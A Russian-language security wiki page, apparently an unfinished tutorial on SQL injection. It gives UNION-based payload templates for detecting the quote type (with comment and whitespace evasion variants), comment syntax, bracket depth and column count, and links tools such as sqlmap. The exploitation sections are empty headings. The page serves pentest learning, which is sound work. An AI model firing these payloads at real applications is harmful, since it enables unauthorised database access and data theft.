Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м (Подбор количества колонок)
Строка 58: Строка 58:
  
  
Первый вариант - GROUP BY
+
======GROUP BY======
 
Есть у MySQL,(добавить).
 
Есть у MySQL,(добавить).
  
Строка 67: Строка 67:
  
  
Второй вариант - ORDER BY
+
======ORDER BY======
 
Есть у MySQL,(добавить).
 
Есть у MySQL,(добавить).
  
 
Аналогично GROUP BY.
 
Аналогично GROUP BY.
  
 
+
======Bruteforce======
Третий - прямой брутфорс.
 
  
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >

Версия 11:51, 19 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 
{параметр} aNd 1=1
{параметр}	aNd	1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1

{параметр}' aNd '1'='1
{параметр}'	aNd	'1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1

{параметр}" aNd "1"="1
{параметр}"	aNd	"1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количкество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1

{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

LIMIT 1
LIMIT 0,1
WHERE ROWNUM==1

Error-Based

Boolean-Based

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

OracleDB

PostgreSQL

SQLite3

IBM DB2

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql